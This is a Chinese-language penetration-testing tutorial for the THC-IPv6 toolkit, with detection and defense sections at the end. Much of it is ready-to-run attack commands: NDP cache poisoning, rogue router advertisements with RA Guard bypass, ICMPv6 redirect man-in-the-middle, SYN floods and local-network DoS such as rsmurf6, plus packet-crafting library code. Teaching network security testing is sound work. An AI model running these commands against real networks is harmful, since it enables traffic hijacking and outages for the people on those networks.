THC-IPv6 攻击工具包:IPv6 渗透测试

发布时间:2026/5/26 7:54:47

THC-IPv6 攻击工具包:IPv6 渗透测试 一、概述THC-IPv6The Hacker’s Choice IPv6 Attack Toolkit是由van Hauser于 2005 年发起并持续维护至今的 IPv6 安全测试工具集是业界最早、最全面的 IPv6 协议安全评估框架之一。该工具包包含超过30 个独立工具覆盖了 IPv6 协议栈从网络发现、邻居发现协议NDP操纵、路由器通告攻击到协议模糊测试的全方位渗透测试能力。二、安装与部署2.1 系统要求THC-IPv6 目前主要支持Linux 2.6.x 或更新版本依赖/proc文件系统以太网环境Ethernet需要 root 权限运行涉及原始套接字和链路层操作2.2 Kali Linux / Debian / Ubuntu 安装# 方式一通过包管理器安装推荐sudoapt-getinstallthc-ipv6# 方式二从源码编译安装获取最新版本sudoapt-getinstallbuild-essential libpcap-dev libssl-dev libnetfilter-queue-devgitclone https://github.com/vanhauser-thc/thc-ipv6.gitcdthc-ipv6makeallsudomakeinstall注意通过包管理器安装时工具名称前缀为atk6-例如atk6-alive6源码编译安装则使用上游原始名称例如alive6。本文示例使用源码编译后的原始名称。三、工具分类与核心功能THC-IPv6 的工具可按攻击类型分为五大类3.1 主机发现与信息收集alive6— IPv6 存活主机扫描alive6是 THC-IPv6 中最核心的发现工具支持多种探测技术能够高效识别网络中的存活 IPv6 主机。# 基础扫描发现本地链路上的存活主机sudoalive6 eth0# 扫描特定前缀中的常见地址sudoalive6-Ceth02001:db8::/64# 防火墙绕过模式综合多种探测sudoalive6-Feth0# 枚举 MAC 地址较慢但信息丰富sudoalive6-Meth0# 从文件读取目标列表并解析 DNSsudoalive6-itargets.txt-oresults.txt-deth0关键参数说明参数功能-C枚举前缀中的常见地址模式-F防火墙模式综合使用 Ping、错误包、UDP/TCP 探测-M从输入地址枚举硬件地址MAC-s使用 TCP-SYN 包进行存活检测可附带端口扫描-p发送 ICMPv6 Echo Request默认-4测试 IPv4 地址编码的 IPv6 地址变体detect-new-ip6— 新设备接入监控监控本地网络中新加入的 IPv6 设备可配合脚本自动执行后续扫描。# 基础监控sudodetect-new-ip6 eth0# 检测到新设备时自动执行脚本sudodetect-new-ip6 eth0 /path/to/scan_script.shdnsdict6— IPv6 DNS 字典爆破并行化的 IPv6 DNS 字典爆破工具基于 dnsmap 开发。# 使用内置中等字典1419 词爆破sudodnsdict6 example.com# 使用大型字典并指定线程数sudodnsdict6-l-t16example.com# 同时获取 IPv4 地址sudodnsdict6-4example.comdump_router6/dump_dhcp6— 信息转储# 转储本地路由器信息sudodump_router6 eth0# 转储 DHCPv6 服务器配置sudodump_dhcp6 eth03.2 邻居发现协议NDP攻击IPv6 取消了 ARP 协议改用**邻居发现协议NDP**进行地址解析但 NDP 缺乏认证机制存在与 ARP 类似的欺骗风险。parasite6— NDP 缓存投毒中间人攻击parasite6是 IPv6 版的 ARP 欺骗工具通过伪造邻居通告Neighbor Advertisement将攻击者插入通信双方之间。# 对目标进行 NDP 缓存投毒sudoparasite6 eth0 fe80::target_ipfake_advertise6— 伪造邻居通告向网络宣告攻击者拥有某个 IPv6 地址可用于流量劫持或拒绝服务。# 基础通告sudofake_advertise6 eth0 fe80::victim_ip# 绕过 RA Guard添加逐跳/分片头部sudofake_advertise6-HFeth0 fe80::victim_ipndpexhaust26— NDP 缓存耗尽攻击向目标 /64 网络发送大量伪造的 ICMPv6 错误消息耗尽目标的 NDP 邻居缓存表导致合法设备无法通信。# 使用随机源地址泛洪目标网络sudondpexhaust26-Reth02001:db8::/64# 发送最大尺寸数据包增强效果sudondpexhaust26-Rmeth02001:db8::/64ndpexhaust6已弃用推荐使用功能更强的ndpexhaust26。3.3 路由器通告RA攻击fake_router6/fake_router26— 伪造路由器通告宣告攻击者为默认路由器可劫持流量或实施拒绝服务。# 基础宣告假路由和前缀sudofake_router6 eth02001:db8:1::/64# 附带 DNS 服务器选项sudofake_router6 eth02001:db8:1::/642001:db8::53# 高级使用 fake_router26 设置完整参数sudofake_router26-A2001:db8:1::/64-D2001:db8::53-l200eth0fake_router26关键参数参数说明-A添加自动配置网络前缀最多 16 个-R添加路由条目-D指定 DNS 服务器最多 16 个-L设置 DNS 搜索域列表-M设置 MTU-p设置路由器优先级low/medium/high/reserved-ERA Guard 规避F完全规避, H逐跳头部, D分片等-X清理模式撤销假路由器通告flood_router6/flood_router26— RA 泛洪攻击向网络大量发送路由器通告导致客户端更新默认网关为随机地址路由表膨胀导致性能下降隐私扩展被禁用-A模式# 基础 RA 泛洪sudoflood_router6 eth0# 绕过 RA Guard 安全机制sudoflood_router6-HFDeth0# 使用 fake_router26 进行高级泛洪sudoflood_router26-HFD-sSGeth0kill_router6— 路由器删除攻击发送路由器生命周期为 0 的通告将合法路由器从客户端路由表中删除。# 删除特定路由器sudokill_router6 eth0 fe80::legitimate_router# 自动嗅探并杀死任何发现的 RAsudokill_router6 eth0*3.4 中间人攻击与流量操纵redir6— ICMPv6 重定向攻击智能的 ICMPv6 重定向欺骗器将目标流量重定向到攻击者控制的节点。# 将 victim 到 target 的流量重定向到 attackersudoredir6 eth0 fe80::victim fe80::target fe80::attackerredirsniff6— 嗅探式重定向植入在流量经过时动态植入重定向路由无需预先知道完整拓扑。# 对特定流量流植入重定向sudoredirsniff6 eth0 fe80::victim fe80::destination fe80::original_router fe80::new_router[new_router_mac]toobig6— MTU 降级攻击向目标发送伪造的 ICMPv6 Packet Too Big 消息强制降低路径 MTU可能导致性能下降或利用特定漏洞。# 将目标的 MTU 强制设为 1280IPv6 最小值sudotoobig6 eth0 fe80::target fe80::existing_ip1280# 不发送伪造的 ping6更隐蔽sudotoobig6-ueth0 fe80::target fe80::existing_ip1280toobigsniff6— 嗅探式 MTU 攻击嗅探目标发出的数据包并实时回复伪造的 Too Big 消息。# 对嗅探到的所有全局流量发送 Too Bigsudotoobigsniff6-ceth0*12803.5 拒绝服务DoS攻击denial6— 综合拒绝服务测试集成了多种 IPv6 DoS 攻击向量的测试工具。# 对目标执行所有 DoS 测试sudodenial6 eth0 fe80::targetdos-new-ip6— 新设备拒绝服务监控新加入网络的 IPv6 设备并立即发送地址冲突通告阻止其获取有效地址。sudodos-new-ip6 eth0rsmurf6— 远程 Smurf 攻击利用特定实现漏洞目前主要对 Linux 有效向目标的本地网络多播地址发送数据包引发流量放大。# 攻击特定目标sudorsmurf6 eth0 fe80::target# ⚠️ 极度危险攻击 ff02::1 将导致整个本地网络瘫痪# sudo rsmurf6 eth0 ff02::1thcsyn6— TCP SYN 泛洪# 对目标端口进行 SYN 泛洪sudothcsyn6 eth0 fe80::target80# 随机化源地址并添加分片头部sudothcsyn6-r-f-feth0 fe80::target4433.6 协议实现测试与模糊测试implementation6/implementation6d— IPv6 实现检查implementation6执行约 2 分钟的全面 IPv6 协议实现测试可用于检测防火墙规则或栈漏洞。# 对目标进行全面测试sudoimplementation6 eth0 fe80::target# 指定源地址并跳过存活检查sudoimplementation6-s2001:db8::100-peth0 fe80::targetimplementation6d作为监听守护进程用于检查哪些测试包通过了防火墙# 在防火墙后启动监听sudoimplementation6d eth0fuzz_ip6— IPv6 协议模糊测试对 IPv6 协议栈进行模糊测试发现实现缺陷。# 基础模糊测试sudofuzz_ip6 eth0 fe80::target# 测试特定扩展头部组合sudofuzz_ip6-H-D-Seth0 fe80::targetfuzz_dhcps6— DHCPv6 模糊测试针对 DHCPv6 服务器的模糊测试工具。# 模糊测试 Solicit 消息sudofuzz_dhcps6-1eth0# 从测试号 1000 开始每 100 次检查存活sudofuzz_dhcps6-1-t1000-p100eth0fragmentation6— 分片防火墙测试测试目标对 IPv6 分片的处理实现包括防火墙绕过检测。# 执行所有分片测试用例sudofragmentation6 eth0 fe80::target# 泛洪模式无间隔发送sudofragmentation6-f-n100eth0 fe80::target3.7 其他辅助工具工具功能address6MAC/IPv4/IPv6 地址转换connect6IPv6 端口连接测试类似 telnetconnsplit6TCP 连接拆分流量分析对抗detect_sniffer6检测局域网中的嗅探器exploit6测试已知 IPv6 漏洞fake_mld6/fake_mld26/fake_mldrouter6MLD 协议欺骗fake_pim6PIM 协议欺骗four2six通过 4to6 网关发送 IPv4 数据包inverse_lookup6通过 MAC 地址反查 IPv6 地址sendpees6/sendpeesmp6SEND CGA/RSA 签名验证 DoStrace6高速 traceroute6支持 ICMP/TCP/UDPthcping6手工构造 IPv6/ICMPv6/TCP/UDP 数据包四、典型攻击场景与实战演练场景一本地网络主机发现# 1. 发现本地链路所有存活主机sudoalive6 eth0# 2. 对特定前缀进行深度扫描sudoalive6-CC-oalive_results.txt eth02001:db8::/64# 3. 监控新加入设备sudodetect-new-ip6 eth0 ./auto_nmap_scan.sh场景二NDP 中间人攻击# 终端 1启动 NDP 缓存投毒sudoparasite6 eth0 fe80::gateway# 终端 2验证投毒效果ip-6neigh show场景三RA 泛洪与网络瘫痪# 发送大量 RA 使客户端路由表混乱sudoflood_router26-HFD-sSGeth0# 清理环境撤销攻击sudofake_router26-Xeth0场景四防火墙规则验证# 终端 1防火墙内侧启动监听sudoimplementation6d eth0# 终端 2防火墙外侧发送测试包sudoimplementation6 eth02001:db8::1五、检测与防御5.1 攻击检测THC-IPv6 的作者在文档中明确指出大多数工具可以被 IDS 或专用检测软件轻易发现这是有意为之的设计目的是便于检测恶意使用。常见检测特征固定包签名部分工具使用特定的数据包模式异常的 NDP 行为大量邻居请求/通告、MAC-IP 映射突变RA 频率异常合法路由器通常每 200 秒发送一次 RA攻击工具发送频率远高于此ICMPv6 类型异常如大量重定向、Too Big 消息5.2 防御措施防御技术说明RA Guard在交换机上启用过滤非法路由器通告但 THC-IPv6 提供绕过选项-ENDP Inspection类似 DHCP Snooping验证 NDP 消息的合法性SEND (SEcure Neighbor Discovery)使用 CGA 和 RSA 签名保护 NDP但部署复杂且存在sendpees6攻击静态 NDP 条目在关键设备上配置静态邻居缓存IPv6 防火墙规则严格限制 ICMPv6 类型和速率网络分段使用 VLAN 隔离缩小攻击面六、开发扩展THC-IPv6 不仅是一个工具集更是一个可编程的 IPv6 包构造库。thc-ipv6-lib.c提供了简洁的 API通常只需 2-4 行代码即可创建完整的 IPv6/ICMPv6 数据包。6.1 核心 API 示例#includethc-ipv6-lib.h// 创建 IPv6 数据包thc_ipv6_hdr*pkt;intpkt_len;pktthc_create_ipv6_extended(eth0,PREFER_GLOBAL,pkt_len,src6,dst6,64,0,0,0,0);// 添加扩展头部thc_add_hdr_hopbyhop(pkt,pkt_len,buf,buflen);thc_add_hdr_fragment(pkt,pkt_len,0,1,12345);thc_add_hdr_dst(pkt,pkt_len,buf,buflen);// 添加 ICMPv6thc_add_icmp6(pkt,pkt_len,128,0,0,data,datalen,0);// 生成并发送thc_generate_and_send_pkt(eth0,NULL,NULL,pkt,pkt_len);// 释放内存thc_destroy_packet(pkt);6.2 预定义快捷函数// 一键发送各类 ICMPv6 消息thc_ping6(interface,src,dst,size,count);thc_neighboradv6(interface,src,dst,srcmac,dstmac,flags,target);thc_neighborsol6(interface,src,dst,target,srcmac,dstmac);thc_routeradv6(interface,src,dst,srcmac,ttl,managed,prefix,prefixlen,mtu,lifetime);thc_redir6(interface,src,srcmac,dstmac,newrouter,newroutermac,orig_pkt,orig_len);七、总结THC-IPv6 作为 IPv6 安全测试领域的基石级工具包其价值不仅在于提供了覆盖全面的攻击工具更在于它揭示了 IPv6 协议在设计上与 IPv4 截然不同的安全特性与风险点NDP 取代 ARP带来了新的缓存投毒和耗尽攻击面无状态自动配置SLAAC依赖 RA使得伪造路由器成为高效攻击向量扩展头部链复杂的头部结构引入了分片攻击和防火墙绕过可能多播广泛使用Smurf 类放大攻击在 IPv6 中依然有效对于渗透测试人员和安全研究人员熟练掌握 THC-IPv6 是评估 IPv6 网络安全的必备技能。随着全球 IPv6 部署率的持续提升这套工具的重要性将愈发凸显。参考资源官方 GitHub 仓库https://github.com/vanhauser-thc/thc-ipv6Kali Linux 工具文档https://www.kali.org/tools/thc-ipv6/作者van Hauser / THC vhthc.org

相关新闻